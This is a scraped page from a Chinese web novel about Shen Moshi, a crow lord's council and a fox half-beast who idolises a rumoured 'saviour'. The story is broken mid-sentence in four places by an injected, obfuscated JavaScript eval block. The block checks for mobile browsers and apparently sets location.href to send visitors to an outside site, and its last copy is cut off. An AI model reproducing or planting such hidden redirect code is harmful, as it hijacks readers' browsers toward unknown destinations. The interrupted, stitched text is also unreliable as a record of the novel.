钥匙的主要功能就只有辅助穿越与储存记忆两点,分解钥匙的目的肯定也是从这两个功能入手。 所以第一个可能性,就是要防止自己再次穿越,可钥匙只是一个便携工具,没有了它,穿越这件事只是会更加麻烦罢了。 那么就只剩下了第二个可能性,为了记忆功能,她为什么会想要把完整的记忆分割开来呢?不分开会发生什么? 沈莫失回想起自己最初躺在垃圾山上的时候,在她见到红雪时,她已经苏醒了有一段时间了。 所以红雪是不知道的,沈莫失的失忆情况比她所想的要严重得多,她不只是失去了“记忆”这么简单,而是连常识都忘得一干二净。 要不是下意识同步了第一块碎片,她说不定都不知道怎么走路和发声。 简单来说就是,当时沈莫失的记忆是一片空白的。 沈莫失想到了陆岭送来的第四块碎片,那也是一块完全空白的碎片。 ……这难道都只是巧合吗? 沈莫失深吸一口气又缓缓吐出,默默整理着脑海中不断冒出来的猜测。 …… “关于那位传说中的‘救世主’,你们有什么想法吗?” 一位满脸褶皱的男性老人居于主位,双手交叉置于身前,将目光缓缓扫过周围众人。 “善良、美好、怜悯世人,母神的使者,能够让兽人与半兽人重回远古和谐美好又强大的状态。” 一人掰着指头细数这阵子听到的关于“救世主”的传闻,露出不屑一顾的神色,“听着就不像是个真人。” “陆岭放出来的谣言罢了,年轻人总是异想天开,什么话都敢说,也不怕把牛皮吹爆了。” 另一人耳后有着几簇灰白的羽毛,正百无聊赖地撑着头,观察桌案上的木质纹路,对这个话题毫无兴趣。 “这种事情有必要把我们召集起来吗?我可是很忙的。” “忙着和你的小情人打情骂俏吗?”她身边一人毫不留情地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137338|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆她台,接着又看向主位上的老人。 “领主,我倒是觉得这件事说不定是真的。” 她认真阐述自己的观点,“陆岭那人虽然总有些不切实际的想法,可以我对她的了解,她还不至于在这种事情上作伪。” “嘁,”被她怼了的那人并不服气,轻蔑地回道,“你这么相信她,干脆跟她干好了,看你能亏多少。” 领主乌楠瞥了她一眼,立刻有人制止了话题的发散,“我们现在讨论的是‘救世主’,不要歪题了。” 桌上顿时安静了片刻,又迅速吵闹了起来。 “那个所谓的‘救世主’并不直接向外接收病人,这一点太可疑了。” “可她教出的学生们已经开始接收了,这你要怎么解释呢?” “说不定是做戏给我们看的,那个虚伪的家伙什么做不出来。” “做戏?为了什么呢?她虽然虚伪,但可从不做没有好处的事情。” “这……说不定是为了动摇我们的民心呢。” “我希望是假的……最近溜出去了好多人,估计大多数都是跑去驯鹿领了。” “我倒希望是真的,我那孙女格外聪慧,只可惜是个兽人,如果能解决紊乱症的问题,我也不用操心接班人了。” “真的有什么用?技术在陆岭手上,你觉得她会来帮你?” “她再怎样也还是要钱的嘛。” “真的?她缺你这点钱?” 众人回忆起陆岭那油盐不进的死样,不禁咒骂了几句,不过这次不用人提醒,就又自觉地回到了话题上。 “可那位‘救世主’的信息实在是太少了吧?我们真的能确定这个人是真实存在的吗?” “陆岭把她保护得这么严实,不正代表这个人是真的,并且对她来说很重要吗?” “别管她存不存在了,即使她只是陆岭虚构出来的一个形象,可陆岭手上有治疗紊乱症的办法这件事总是确确实实的吧?” 身披各色彩羽的人们叽叽喳喳地讨论这个话题。 乌楠眯着眼看着她们吵了半天也没吵出一个结果来。 “别吵了,我这里有最新的消息,那位‘救世主’大概率是真实存在的。” 这话顿时吸引了众人的目光,“怎么说?” “怎么现在才说?” “怎么之前不说?” 乌楠习惯了她们多嘴的个性,自顾自地往下讲。 “领主科洛莫罗此前问我买了些伎人,她可从来不喜欢我的人,这次大概率就是为了送给那位‘救世主’。” “科洛莫罗?”在座众人听闻这个名字,顿时面色各异,有嫌弃的,有害怕的,还有匪夷所思的。 短暂的惊讶后,又是一阵嘈杂的交头接耳声。 “她怎么还没死?” “她居然也会讨好别人?” “能和科洛莫罗混到一块的会是什么好人,陆岭造谣得真是太过了。” “那两人和‘救世主’的关系这么好,那不就只剩下我们落后了吗?” 不少人都开始焦虑了起来,毕竟陆岭的作风向来亲民,她对一个人青睐有加不算什么大新闻,而科洛莫罗的举动就格外反常了。 她与陆岭不同,一贯不屑于那些小把戏,能被她看上眼的,背后的利益绝对比她们此前想象中的还要大得多。 待众人讨论得差不多了,乌楠才开口道:“看来大家和我的想法都差不多。” 他苍老的目光扫视一圈。 “不论这位‘救世主’是否如传闻所说的那般,我们都不能再无动于衷了。” 44.冒失鬼 当沈莫失与那位男性狐人对上视线的时候,便有一种莫名的预感袭上心头。 他会过来问路的。 不出她所料,那位狐人捏着地图纠结片刻后就向沈莫失走了过来。 “姐姐,我迷路了,请问可以帮帮我吗?”彩玉轻声细语地向沈莫失询问道。 沈莫失其实早就看到他了,毕竟他其实蛮显眼的。 背着单肩包,拖着一尾蓬松又柔软的大尾巴,除了尾尖与耳尖的毛发是白色,其余都是黑色,在阳光下看着油光水滑。 而且是位半兽人,脸也长得唇红齿白,娇艳可人,焦急又茫然地在路边转来转去。 路边有只迷路的大尾巴狐狸什么的,让沈莫失很难忍住不看他一眼。 不过本来她只是随意地看一眼罢了,就和其他所有路人做的一样,只是没想到会突然与对方对上视线。 可既然对上了,那也没办法,可能有时候就是这么巧吧。 “你要去哪里?”沈莫失凑过去看他的地图。 彩玉手忙脚乱地把地图歪过来,希望沈莫失能看得更方便些,可顾上了这头忘了那头,单肩包一下子滑落到了肘部。 也不知道他到底在里面装了些什么,反正这股力量一下子把他整个人带得歪向了另一边。 彩玉惊叫一声,双臂努力地挥舞着,但还是无法回到平衡的状态。 沈莫失想要拉他一把,不过他不断往后倒退试图稳住身形的动作也让他离开了沈莫失的救援范围。 沈莫失一脸困惑地看着他就这么栽倒在了地上,手上的地图因为他下意识防御的动作也在地上磨成了奇奇怪怪的一团。 “你还好吗?”沈莫失走进几步观察他的情况。 “好、痛啊。” 彩玉泪眼朦胧地摸摸自己的肘部和尾巴根,婉拒了沈莫失想来拉他的手,自己颤颤巍巍地抚着路灯站了起来。 看来情况不算很严重,沈莫失谨慎地看着他,和他保持一定的距离,不希望再因为什么举动影响到他。 “你需要先去趟医院或是药店什么的吗?” 沈莫失瞥了眼他通红的手肘与手心,略微有些破皮了,而且在地上摩擦了一番,显得满是灰尘。 彩玉心疼地轻吹自己的手心,闻言抬眸看向沈莫失,连连挥手向她解释。 “没关系没关系,我都有带着的。” 说着就从他那只单肩包里掏出了急救套装,不过一手拎着包,一手拉开急救套装这种操作对他而言可能有些困难了。 套装的拉链一拉开,里面的东西就哗啦一下散落了出来。 “啊!”彩玉被吓得惊叫一声,徒劳无功地想要去接住散出来的东西。 可他包上的拉链还没拉上,弯腰去接的后果就是连带着包里的其他物件也一并掉了出来。 “嘶!”沈莫失眼疾手快地接住了一小瓶消毒水,还顺手捞到了一块纱布。 不过剩下的东西就没那么幸运了,虽然这些东西不像彩玉那样会跑,不过沈莫失毕竟没有八只触手,照顾不到那么多。 “呜呜不好意思不好意思。”彩玉耷拉着眉眼蹲在地上捡东西。 沈莫失无奈地看了他一眼,这下好了,她们彻底成为这一块地方的焦点了。 不过现在抱怨这些也没什么用处,沈莫失与周围的好心路人们一起,帮彩玉把东西都收集了起来。 “谢谢。”彩玉认真地一个一个与帮忙的路人朋友们鞠躬道谢,当然也没错过沈莫失。 “实在是太感谢姐姐了!”彩玉坐在路边的排椅上,用空闲的手擦了擦眼泪。 沈莫失正握着他的另一只手给他做简单的应急处理。 “你还是决定先去找那家店吗?”帮他把灰尘都清理干净了,沈莫失才用干净的纱布把他的手轻轻缠上。 虽然沈莫失自认为自己的处理手法还算可以,不过彩玉刚才毕竟摔了个大的,其他地方可能还会有伤处。 彩玉小幅度地摇了摇头,“都走到这里了,最后一步换计划也太可惜啦。” 沈莫失也摇头,并不赞同他的选择,但也并不想对一个陌生人的选择指手画脚。 彩玉最初来跟她问路就是想要去找一家很出名的甜品店,结果就是先迷了路,然后再在沈莫失跟前狠狠摔了一跤,还掉了一地的零件。 “多亏有姐姐在!不然我真不知道要怎么办才好了。”彩玉珍惜地摸了摸手上整齐的纱布,冲着沈莫失笑得一脸阳光。 “说什么呢,你的材料都很齐全,即使没有我,你自己也能处理得很好吧?”沈莫失并不包揽功劳。 彩玉难为情地挠了挠脸颊,“材料都是家人给我准备的啦,我自己其实也不怎么会用。” 沈莫失摇了摇头不想再继续这个话题,“我之前跟你说过的路线你还记得多少?” “诶?”彩玉愣了愣,随即歪头思考了一番,“嗯……从这条路一直往下走,看到一家很大的……店的时候转弯?” 沈莫失了然地看着他,“左转右转?” 彩玉哑口无言,嘴巴一张一合说不出话来,半天才憋出一句来,“……左转?” 沈莫失默默地叹了口气。 彩玉看她的表情就知道自己肯定是记错了,缩回了手乖巧地坐在椅子上,讨好地冲沈莫失笑笑。 或许是之前一系列事件的影响,看着他这个笑,沈莫失总觉得其中透出一股子傻气来,还真不是很放心他。 既然碰上了,干脆也就送佛送到西了。 沈莫失纠结片刻,对彩玉说道:“那家店我熟,我带你去吧。” 她去过好多次了,这家甜品店的点心做得确实好,不过她之前还真不知道,这家店居然这么有名。 “真的吗?谢谢姐姐!”彩玉顿时激动地前倾,眼里亮闪闪地看着沈莫失。 沈莫失推开了他,率先站起身来,好笑道:“别一直叫姐姐了,我叫沈莫失,你呢?” “我、我叫彩玉。”彩玉脸红扑扑的,随着沈莫失的动作站起来。 两人边走边聊。 “我是来旅游的,这家店在我们那好出名。” 彩玉脚步轻快地跟上沈莫失的步伐,双手背在身后,那双上翘的狐狸眼扫向她。 “是吗?”沈莫失有些疑惑,“我经常去,好像也没觉得那家店很出名的样子?” “诶?可是这家店连‘救世主’都夸赞说很好啊。”彩玉眨了眨眼,长而卷的睫毛在眼下覆上一层阴影。 沈莫失更疑惑了,“‘救世主’?这是谁?” 她去了那么多次,怎么从来没听说过还有这么一号人物? 彩玉将手掩在唇前,大张着嘴一副吃惊的样子,“姐姐连‘救世主’都不知道吗?” “TA是什么很有名的人吗?”沈莫失皱眉,奇怪地反问彩玉。 她对这个人完全没印象,居然还自称什么“救世主”,一听就觉得是个自我意识过剩的家伙。 见沈莫失是真的不知道“救世主”是谁,彩玉突然凑近了她几分,漂亮的蓝眼睛里划过一道激动的神光。 “‘救世主’!我就是为了她来的,她是母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151339|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神派来拯救我们的使者!因为她,我们才能突破桎梏,重回远古时期的辉煌。” 沈莫失不动神色地离他远了些,她对一切狂热分子都会保留一份警戒之意。 “哦?这么厉害?那TA是哪里人,都做了些什么啊?” 知道了之后她一定离那人的活动范围远远的。 驯鹿领内居然还有这么一号人,听着比陆岭都受欢迎,陆岭到底知不知道这件事啊,不会被人偷家吧? 沈莫失对陆岭的感官还是不错的,陆岭待她也很好,她并不希望陆岭因为这个莫名其妙的“救世主”受到什么损害。 彩玉欣喜地勾起唇,露出崇拜的表情,双手交握在胸前看着沈莫失,“姐姐也对‘救世主’很感兴趣是吗?” “她受到了母神的恩惠,为我们消除了紊乱症带来的苦难。” 彩玉满脸的憧憬与向往之情,“她将带领我们与兽人一起,走向和谐美好的未来。” 沈莫失听到一半就开始眼皮直跳,敏锐地察觉到有什么不对劲的地方,“紊乱症?我听说是一个医生研究出的治疗方法。” “是啊!”彩玉连连点头,“那就是我们的‘救世主’,你是知道她的呀。” “据说她也经常会去那家甜品店,你有见过她吗?”彩玉越说越兴奋,几乎要贴到沈莫失身上。 沈莫失灵光一闪,顿时汗流浃背,踉跄着后退几步躲开他,她突然想起那家甜品店的店主曾经有问过,是否可以拿她宣传一下自家店铺。 当时她虽然答应了下来,但一直觉得很奇怪,自己也不是什么明星,不过是个普通人,店主为什么会问自己这个问题。 后续很长一段时间都无事发生,她也就把这件事忘掉了。 原来在这里等着她啊! 自我意识过剩的竟然是她自己! 想到“救世主”这个名头居然要和自己绑在一起,沈莫失的鸡皮疙瘩就直往头上窜。 稍微想想就知道这件事到底是谁做的了,沈莫失不禁在内心尖叫道。 陆岭!你个浓眉大眼的家伙,到底做了什么事情啊! 看着面前的“小迷弟”,沈莫失只能梗着脖子回答他。 “应该没有吧,我去的时候人都蛮少的,有这么有名的人出现的话,应该会有很多人吧,哈哈,哈哈哈。” 承认是不可能承认的,只能敷衍过去这样子。 “诶——”彩玉耷拉着眉露出失望的神色,“好可惜啊。” 但他很快又振作了起来,彩玉拍了拍沈莫失的肩膀反来安慰她,“没关系的,姐姐你就住在附近,以后见到‘救世主’的机会多得是。” 他好像以为自己干笑是因为遗憾的样子。 沈莫失满脸尴尬,已经开始后悔自己在路边多看了他一眼的举动了。 “不过说起来,即使真的见到‘救世主’了,我们也不知道这就是她啊。”彩玉摸着下巴思索着这件事。 他向沈莫失解释道:“毕竟驯鹿领主把‘救世主’的所有私人信息都封锁起来了,这也是为了保护她的安全。” 太好了!陆岭你干得漂亮啊。 沈莫失在心里默默欢呼,面上还是做出了与彩玉相似的遗憾表情。 “虽然没法知道她长什么样,但果然还是要为对方考虑呢。” “嗯!我也是这么想的,”彩玉重重点了点头,随即感叹道,“姐姐你真是个好人啊。” 沈莫失扯了扯嘴角,“我谢谢你啊。” “啊!我们到了。”沈莫失如释重负地指向前方的标牌。 45.甜品店 沈莫失狠狠松了一口气,当即就要向彩玉告辞,“既然已经到了,那我就……” “诶!沈莫失?你来啦,快进来快进来。” 门口正在招待顾客的店主敏锐地发现了沈莫失的身影,热情地抬手招呼她,“这次还带了朋友来呀,一起进来吧。” 看着店主期待的眼神,再闻闻店里飘出的熟悉的甜味,沈莫失稍稍动摇了下,但想到那些尴尬事,还是坚定了要走的决心。 她艰难地抬起手婉拒店主,“不了,其实我今天……” 还没等她说完,一旁的彩玉就先拉住了沈莫失的衣角,水润的眸子望向她,期期艾艾地请求道。 “那个、其实,我第一次来,不知道该选什么好,姐姐可以帮我推荐几款甜点吗?”他紧张地咬住下唇,浓密的睫毛轻颤。 “我想请姐姐一起吃,就当做是回报姐姐对我的帮助,”彩玉脸颊泛红,但还是一眨不眨地看着沈莫失,“好吗?” 沈莫失战术后仰,避开他期待的眼神,余光又瞥到了在一旁怂恿她的店主。 你们不会是串通好了的吧! 一鼓作气再而衰三而竭,沈莫失再无法坚决地拒绝两人,被她们一人推一人拉的带进了店里。 “看看这次要点些什么?”店主系着粉红色的围裙,眼角眉梢都是笑意,热情地接待两人。 店里充满了奶油与糖果的甜蜜味道。 闻着这股熟悉的甜味,沈莫失终于逐渐放松下来。 算了,来都来了,反正店主也算是陆岭的人,不可能在这种地方叫破她的身份,彩玉不会知道她就是他口中的那个“救世主”。 一切尴尬的事情都不会发生的! 只要沈莫失自己不在意,那还有什么好怕的。 迅速调整好了心态的沈莫失终于能如常地对待彩玉了,“你喜欢什么口味的?甜一点?还是清淡一些的。” 彩玉正认真地看着招牌上的推荐菜单,闻言思考了片刻,回答道:“我喜欢甜一点的,但是又不喜欢齁甜,最好是甜而不腻的那类,清甜的感觉最好了。” 没等沈莫失做出推荐,他又抬手遮住了脸上的红晕,“会不会要求太高了?其实只要是甜的我都喜欢。” 每个人对于甜味的观感都不同,要甜一些的,又不要太甜的,还必须要不腻味,这种主观的要求,对于推荐人来说很是麻烦。 不过沈莫失倒是没觉得这要求麻烦,反而有些惊喜地看着他,“怎么会?我们口味很像啊,遇到我你算是找对人了。” 既然两人的口味差不多,沈莫失就给他推荐了自己平时吃得最多的几个款式。 她看了眼菜单,并没有多犹豫就开口道:“珍珠团子、如意金丝球、玉林酥糖、雪花乳酥,再一份甜果蛋糕和梨花糖水吧。” 帮彩玉选了几样物美价廉的甜点后,沈莫失又看向店主,“我还是和之前一样,不过上面这些不用重复上了。” “嗯嗯,”店主点点头记下她的要求,随即又对着沈莫失俏皮地眨了眨眼,“我最近尝试了新的配方哦,要不要试试看?” “真的?”沈莫失眼前一亮,“那肯定要啊。” 店主总会尝试一些新的甜点花样,部分她觉得很不错的会提前给沈莫失试试,托她的福,沈莫失每次来这,嘴就没停过。 店主翘起尾巴高兴地晃了晃,“去坐吧,位子给你留着呢。” 彩玉在一旁安静地看着沈莫失与店主熟络地聊天,到最后沈莫失要付款时才突然跳出来拦住了她。 “姐姐,不是说好了我请的吗?”他轻轻地将手按在沈莫失的手背上,蹙眉不满地看向她。 一旁的店主也有些愣住了,停下动作看向沈莫失,“嗯?” 沈莫失本来就没打算让他请,她最烦这些礼来往去的事情了,“我们分开吧,你付你的部分就好了。” “可是……”彩玉失落地看着沈莫失,还想要继续劝说她。 沈莫失忙打断了他,“我在店主这有优惠的,我自己的就不用麻烦你了。” 她这么说着,转头看向店主,在彩玉看不到的角度快速眨了几下眼。 店主福至心灵,隐晦地瞥了眼彩玉,大概知道沈莫失与这人的关系并不算亲近了,便也帮着沈莫失劝说彩玉。 “是呀是呀,她可是我们的老客户了,优惠力度很大的,你没必要多花冤枉钱啦。” 她笑着对彩玉摆了摆手,说到“冤枉钱”时,又对沈莫失投去一个隐含着幽怨之情的眼神。 实际上,要不是沈莫失坚持,店主巴不得沈莫失的每一餐都由她免费供应。 坚持要花“冤枉钱”的沈莫失挑挑眉忽略了店主的眼神,眼疾手快地和她配合,先把自己的账付了。 动作快得彩玉都来不及阻止,“诶!” 彩玉徒劳地伸出手来,见无法改变沈莫失的想法,也只能遗憾作罢。 他耷拉着双肩,鼓了鼓脸颊,“好吧,那姐姐待会儿要多吃些我的甜点哦。” 沈莫失笑着点了点头,带着他坐到自己常坐的位置上。 “你接下来还有什么计划吗?”沈莫失咬着叉子,询问对面的彩玉,“我对附近还蛮熟悉的,说不定能给你什么建议。” 对方自从坐下后,就显得很沉默,偶尔抬眸看她一眼,又红着脸默默低下头去。 沈莫失觉得一起吃东西却什么都不说,那也太尴尬了,既然对方不主动发言,她就要找点话题聊聊了。 彩玉忙咽下嘴里的团子,回答沈莫失的话,“咳、还要在驯鹿领玩几天的,去水乐园、中央公园、领主展览馆什么的。” 沈莫失无奈地把糖水递给他,“小心些啊。” 她现在对彩玉的举动有些说不出的警惕感,总担心他又会马虎个大的。 “谢谢姐姐。”彩玉腼腆地笑了下,双手接过糖水抿了口。 见他确实没什么事,沈莫失这才继续话题。 “不过水乐园啊……这个天气会不会还是太凉了些?毛皮打湿了不太好受吧?” 沈莫失打量下对方,她周围毛绒绒的兽人半兽人们都不是很喜欢下水的感觉,特别是红雪与钟欢两个。 红雪有时候连洗澡都要拖沓半天,也算是她难得孩子气的时刻了。 而且现在驯鹿领的气候虽然转暖了,但并没有特别暖和,这个天气去露天的水乐园玩水,不算是个太好的选择,很容易会着凉。 想到天气,沈莫失不禁拧起了眉,脑海里闪过一个神奇的家伙。 克拉芙季雅习惯了北方的气候,一直觉得驯鹿领太暖和了,可她治好了病也不愿意回去,宁愿忍着不适应的气候赖在这里。 每当她热得有些烦躁的时候,就很喜欢去水乐园之类的地方转圈。 沈莫失有听诊所里的员工们说过这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162671|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,大家一致认同这阵子要避开这些游乐设施。 ——除了钟欢,这孩子最近好像和克拉芙季雅杠上了。 “嗯……”彩玉捧着糖水,低头沉思片刻,“那我听姐姐的,就不去这里了。” “啊?”沈莫失从克拉芙季雅和钟欢最近的拉扯里回过神来,就听到了彩玉的这番话。 没想到他放弃得这么快,沈莫失又开始反向劝说他。 “我不是说要你全听我的,你如果想去的话去就是了,那里确实有很多有意思的玩意儿。” 彩玉唇角微翘,摇了摇头,“不是啦,我本来也只是听别人说这个地方有些意思,根本没想太多来着。” “既然姐姐不推荐的话,我也不是很想去了。”他翘了翘鼻头,作出一副嫌弃的表情。 “你这人,”沈莫失失笑,有些不知该怎么评价他这番行为,“我都不敢再发表意见了。” 彩玉闻言,瞬间惊慌失措起来,结结巴巴地想要劝说沈莫失,“啊,姐姐,我不是。” 但是彩玉发现自己嘴笨到完全不知道该如何劝说沈莫失,只能沮丧地眯起了眼,嘤嘤呜呜地叫唤。 “呜,姐姐不要这么想啊,姐姐的意见对我真的很重要。” 沈莫失被他这副模样逗笑了,狐狸真的也是狗啊,看着居然和红雪那么像。 “好了好了,我只是不想太影响到你这几天的行程罢了,你肯定提前计划了很久吧?就这么被我改了,万一出什么岔子我也不放心。” 毕竟他出岔子的可能性看着很大的样子,沈莫失默默腹诽面前这只大尾巴狐狸。 迎着彩玉失落的视线,沈莫失接着问道:“我听你不像是驯鹿领的人,你是哪里来的?” “乌鸦领……”彩玉依旧是有些失落的样子,但还是勉强提起精神,回答沈莫失的问题。 “那太巧了。”沈莫失笑着用叉子点了点彩玉,引得他抬起头来疑惑地看向沈莫失。 “我前阵子刚好去过鬃狮蜥领,干脆给你推荐些那里的好吃的吧,以后你去那里可以用上我的建议,你去过鬃狮蜥领吗?” 彩玉的眼睛眨了眨,迅速亮了起来,连忙摇了摇头,期待地看着沈莫失。 沈莫失干脆与他聊起了她在鬃狮蜥领亲自探店得来的一手情报。 “如果你去那里,记得一定要试试一家烤肉店……” 彩玉听得连连点头,间或发出几声感慨声,后来甚至想要拿出小本本记下来。 不得不说,彩玉作为倾听者十分优秀,情绪价值直接拉满。 沈莫失吃得高兴,说得也高兴,最后与他告别时还有些依依不舍,完全忘了此前还觉得尴尬的事情。 不过虽然聊得很开心,两人都十分默契地没有交换联系方式。 沈莫失本来还思考过,如果彩玉要她的联系方式的话,自己要如何委婉地拒绝他。 毕竟彩玉表现得这么热情,她们又聊得不错。 如果问她要联系方式而沈莫失又拒绝的话,难免会为这段偶遇的美好回忆添些堵。 不知道彩玉是看出了她的想法,还是正好和沈莫失对上了脑回路,并没有提出让沈莫失难办的问题。 看来是她自作多情了! 沈莫失于是带着完完全全的好心情结束了这一天。 此时,她觉得自己与这只大尾巴狐狸的交集应该就到此为止了。 46.缘分 沈莫失完全没有想到,居然在几天后,她就再次偶遇了彩玉。 当一如往常来到公园里摸鱼的沈莫失,看到那个长椅上熟悉的人影时,也不禁感慨了一番两人之间的缘分。 驯鹿领真是太小了,这都能碰上。 彩玉正握着个绘画本,全神贯注地画着什么,时不时抬头去看前方的喷泉。 长椅周围散落着零星的面包屑,一堆肥墩墩的白鸽聚拢在他身边,对他视若无睹的样子, 看来对方已经在这里待了有一阵子了。 沈莫失上前几步,她没有刻意地放轻脚步,不过彩玉好像并没有发现她的到来,专注于自己的绘画中。 沈莫失见他没反应,怕走近了吓到他,还隔着一段距离就出声向他打招呼,“彩玉,好巧啊,你怎么也在这?” 事实证明沈莫失的选择是正确的,即使她提前打了招呼,彩玉也被她吓了一跳,从耳朵尖到尾巴的毛发一下子又蓬松了一圈。 炸完毛后,彩玉才后知后觉地转过头来,看到了不远处的沈莫失。 那双因警觉而瞪圆了的狐狸眼立马柔和了下来,带上了惊喜的笑意,“姐姐!” 彩玉抬起手想要和沈莫失打招呼,不过在看到手心乌黑的碳迹时,又迅速放下,局促不安地端正坐在原地。 沈莫失看着完全没变化的彩玉,眼角弯了弯,对他挥挥手,坐在了长椅的另一头。 “我还以为你已经回家去了呢,不是说只在驯鹿领待几天吗?” 彩玉脸颊泛红,手指蹭了蹭鼻尖,“感觉这里好玩的东西比我想象中要多好多,完全不想回家去,所以就短租了一间小公寓,打算在这旅居一阵子。” “还有还有,”彩玉那双毛绒绒的双耳颤了颤,脸显得更红了,“我还没见到‘救世主’呢,希望在这待得久一些,能有机会见到她。” 沈莫失现在听到这个名字多少有些脱敏了,上次回去她就和陆岭沟通过这件事了。 陆岭跟她解释说这方法能快速地将消息传播出去,让更多的人能知道这个新的治疗方法,特别是其他领地的民众。 毕竟受限于通讯技术与领主们之间复杂的关系,不同领地间的信息传播是很艰难的,陆岭的能力再大,也只能管到驯鹿领内的情况。 鬃狮蜥领倒还好说,克拉芙季雅现在和她们算得上是一条船上的同盟了,虽然她是个不干正事的甩手掌柜,不过章鱼副手一直很配合她们的行动。 最难搞的就是乌鸦领,乌鸦领主乌楠和她们是相看两厌,乌鸦怀疑她们的举动别有用心,陆岭也不敢随意插足乌鸦领,就怕那只黑皮黑心的乌鸦给她们设陷阱。 这种时候,这些看似不靠谱的八卦流言就很适合用来在乌鸦领内渗透消息了,陆岭为此花了不少精力。 不过陆岭也没想到,这种刻意散布出去的夸张谣言,居然还真的能在乌鸦领内给沈莫失招来狂热粉丝,这粉丝还行动力十足地跑到了沈莫失面前。 既然是现实所迫,沈莫失也就不太在意这个称呼了,权当不知道这是谁。 她有些好奇地询问彩玉,“你就那么崇拜她吗?因为那些报纸上说的话?” 彩玉抿唇,腼腆地笑了,“不是的,是因为她能治愈紊乱症,我才格外佩服她。” 沈莫失眉毛微微上扬,“你是半兽人啊,紊乱症有给你带来什么很大的麻烦吗?” 彩玉双手交握在身前,安静地摆放在膝盖上,像是回忆起了什么美好的记忆,上挑的狐狸眼弯成了月牙状。 “我有几个兽人妹妹和弟弟……” 他没再多说,不过神色里的感慨与喜悦说明了一切。 原来对方是和红雪相似的情况,沈莫失了然地点了点头,“看来你有个大家庭,是个好哥哥啊。” 彩玉自豪地扬起了头,说起他的那些妹妹弟弟们时,眼角眉梢都是克制不住的笑意。 “她们是我的宝藏,是我最爱的人们。” 沈莫失想象了一下好几个红雪和钟欢围着自己的样子,感同身受地赞同对方,“没错,小孩子们是宝藏。” 彩玉那上翘的狐狸眼瞟向沈莫失,和她一起笑了起来。 “对了,姐姐帮我看看这个。”彩玉转身把自己的绘画本子展示给沈莫失看。 “怎么样?孩子们还太小了,家长不让她们出门,我就想把驯鹿领的景色都画下来,回去带给她们看。” 抬起的绘画本挡住了彩玉的脸,他就从本子的另一边探出头来,那双清澈的蓝瞳专注地看着沈莫失。 看到他的这幅画,沈莫失眼前一亮,“你好厉害啊!” 画的就是她们面前的喷泉和咕咕们,即使只有黑白灰三色,也能体会到画中旺盛的生命力。 沈莫失甚至觉得第一眼看去,会被画里的阳光和水光闪到眼睛。 作为一个手残党,沈莫失很是佩服那些绘画水平出色的人,“你的妹妹弟弟肯定会很喜欢的。” 彩玉低头,嘴角微微翘起,“姐姐也很喜欢吗?那真是太好了。” 他将这一页单独取了下来,递给沈莫失,“那这一幅就送给姐姐吧。” 沈莫失睁大了眼,双手抬起推拒他,“不用啊,你不是要回去送给家人的吗?” 彩玉得意地向她晃了晃手上的本子,“我画了好几副呢,姐姐放心吧。” 沈莫失有些犹豫了,眼神扫向那副生动的画,但还是婉拒他,“这怎么好意思。” “请一定收下吧,”彩玉的态度十分坚决,“说起来还要感谢姐姐的建议,幸好姐姐劝我没去水乐园。” “嗯?”沈莫失疑惑地歪了歪头,“出什么事了吗?” 彩玉皱起脸对沈莫失感叹道:“听说这几天水乐园里有个奇怪的家伙在打小孩子哦,真是太可怕了。” 听到“水乐园”“奇怪的家伙”“小孩子”这几个关键词,沈莫失眼皮跳了跳,有些不妙的预感。 彩玉没注意到沈莫失逐渐凝重起来的内心,继续说道:“但是据说那人的来头不小,所以后续什么惩罚都没有。” “乐园方居然还说只是熟人之间的小打小闹!希望那孩子好好的……” 彩玉家里好几个小孩子,见到这样的事情时,难免将自家孩子带入进去,他皱着眉看向沈莫失,越说越是觉得生气。 “这真是太过分了不是吗?我再也不会去水乐园了。” 沈莫失嘴唇微张,面对彩玉真情实感的厌恶之情,嗫喏了几下没好意思承认自己可能认识这个所谓“打孩子的奇怪家伙”。 如果真如她所想的那样,那打人的大概率是克拉芙季雅,而被打的孩子是自己凑上去的钟欢。 彩玉这次真的是误会水乐园了。 就看钟欢每次消停几天又能活蹦乱跳地继续招惹她的架势,克拉芙季雅确实是有留手的。 或者说,克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 